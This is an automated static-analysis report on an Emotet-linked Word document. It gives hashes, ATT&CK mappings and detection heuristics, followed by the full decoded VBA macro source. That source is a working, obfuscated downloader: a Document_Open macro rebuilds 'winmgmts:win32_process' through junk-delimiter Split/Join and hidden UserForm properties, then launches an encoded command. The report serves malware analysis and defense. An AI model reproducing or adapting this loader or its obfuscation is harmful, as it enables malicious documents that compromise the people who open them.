Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a99083b974e94719…

MALICIOUS

Office (OLE)

202.7 KB Created: 2020-02-05 15:55:00 Authoring application: Microsoft Office Word First seen: 2021-09-13
MD5: 4cab1b8caa847d66209ea5b423d5b3c7 SHA-1: cf24e3acf49d16c0573cf94130febecbada90b02 SHA-256: a99083b974e9471921cf4ac6baca4ea5f1dfbfccd38a268cbb6aaae7a9404168
270 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and CreateObject calls, indicative of a downloader. The ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-7577879-0'. The VBA code appears to be obfuscated but the presence of auto-execution and object creation strongly suggests it's designed to download and run a secondary payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-7577879-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7577879-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    aBVWmdVFlU = 675836
    Bvvbsatryaex = VBA.CVar(Join(Split(Uchxwburuasx, "}&*$**(){"), NoLineBreakAfter))
       If 954823 <> 921852 Then
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    aBVWmdVFlU = 675836
    Set Mqxrgijpty = CreateObject(Rhwuzsdpcip)
       If 954823 <> 921852 Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
       If 954823 <> 921852 Then
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12060 bytes
SHA-256: 258bf5e0ca782b341c9ad5d87ac7e65fd8c0eeac388b421f79070ec47b8758fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Rrnkggawcl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Egpbylvxqipix.Yrqknupbgzkjl
End Sub

Attribute VB_Name = "Jonpkqhrpwd"
Attribute VB_Base = "0{5B9C1FEB-AF80-449B-914F-2001B4EA4D09}{18B558F6-4B06-4723-8760-60E186E7EB66}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Pkojurjndzvwg"
Attribute VB_Base = "0{06E08E63-3252-4F28-9A1A-F5C266D87C1A}{83A05C58-29C1-4A8D-9A81-6933DDBC0942}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xhnluidouvvob()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Ugminmeolxw"
Attribute VB_Base = "0{8BE69F49-ED77-44C5-A4FC-E358066678BE}{AFB8B8E8-ACC5-420C-BDFC-C70A820D2D82}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xfkblalux()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Nmvtozdi"
Attribute VB_Base = "0{DBE7E521-F1CB-43F2-8091-EA574A7B89AD}{9A853BE1-904F-4C7E-A3F4-2C9C1AA6B4EB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Fpjxwltscox()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Qpktdahuxqkva"
Attribute VB_Base = "0{3906F7AA-A669-4BFB-8B88-39ACAD6A656C}{C5E77CF2-AD97-4F1B-AEEF-E7644AE63F9D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Altnqrsqad()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Sbubenoeedg"
Attribute VB_Base = "0{3FEB27E6-FF37-461C-9FD2-8DEC82D87405}{25613E87-3278-428D-BC7F-B52E85298522}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Luhyzcwui()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Ukigyykpolps"
Attribute VB_Base = "0{19556CE4-0B73-4A59-946A-3BD854366AC6}{F76930D1-30B8-4890-8E51-FED20E93F334}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Ghlmgxftfex()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Bbsukjdhtfig"
Attribute VB_Base = "0{1FBEA2E8-AD2C-4CB6-A838-D93A4C90D97B}{3E4B8E8C-7AFB-49CB-81E9-8CA5321F94FB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Qlwwbejsvkic()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Egpbylvxqipix"
Function Yrqknupbgzkjl()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Aslkhsgmhwisz = "}&*$**(){}&*$**(){w}&*$**(){i}&*$**(){}&*$**(){n}&*$**(){m}&*$**(){g}&*$**(){}&*$**(){mt}&*$**(){}&*$**(){" + ChrW(Jonpkqhrpwd.Zoom + 10 + 5) + ":}&*$**(){wi}&*$**(){}&*$**(){n3}&*$**(){}&*$**(){}&*$**(){2}&*$**(){}&*$**(){_}&*$**(){}&*$**(){" + Jonpkqhrpwd.Xeqfmotsy + "r}&*$**(){}&*$**(){o}&*$**(){ce}&*$**(){s}&*$**(){}&*$**(){s}&*$**(){"
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Rhwuzsdpcip = Bvvbsatryaex(Aslkhsgmhwisz)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Set Mqxrgijpty = CreateObject(Rhwuzsdpcip)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Wdcshyjmabx = Jonpkqhrpwd.Kuqiyyri.Tag
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Ascaphncvdo = Rhwuzsdpcip + ChrW(Jonpkqhrpwd.Zoom + 15) + Jonpkqhrpwd.Ijprgwpahdh.Tag + Wdcshyjmabx
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Xfbprwzxxsdwk = Ascaphncvdo + Jonpkqhrpwd.Xeqfmotsy
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Set Hzkbvium = Cbapayviai(Xfbprwzxxsdwk)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Call Mqxrgijpty. _
Create(khknasas + Ggnvzoqzx + nbswe, Ktcoggqn, Hzkbvium)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
End Function
Function Cbapayviai(Siahcjfbemi)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Set Cbapayviai = CreateObject(Siahcjfbemi)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Cbapayviai. _
showwindow = Ronphfzpi + Bokiaxvp
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
End Function
Function Bvvbsatryaex(Uchxwburuasx)
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Bvvbsatryaex = VBA.CVar(Join(Split(Uchxwburuasx, "}&*$**(){"), NoLineBreakAfter))
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
End Function
Function Ggnvzoqzx()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
nnannauwe = "}&*$**(){ }&*$**(){-}&*$**(){e}&*$**(){ }&*$**(){"
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Aekcifanuhi = ChrW(Int(wdKeyP))
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Zaemonzph = Aekcifanuhi + Jonpkqhrpwd.Vnbosfnj.ControlTipText + nnannauwe
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
dkhiqwhnkew = Jonpkqhrpwd.Fupuuhlnyz.Pages(0).Caption
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Ggnvzoqzx = Bvvbsatryaex(Zaemonzph + StrReverse(dkhiqwhnkew))
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
End Function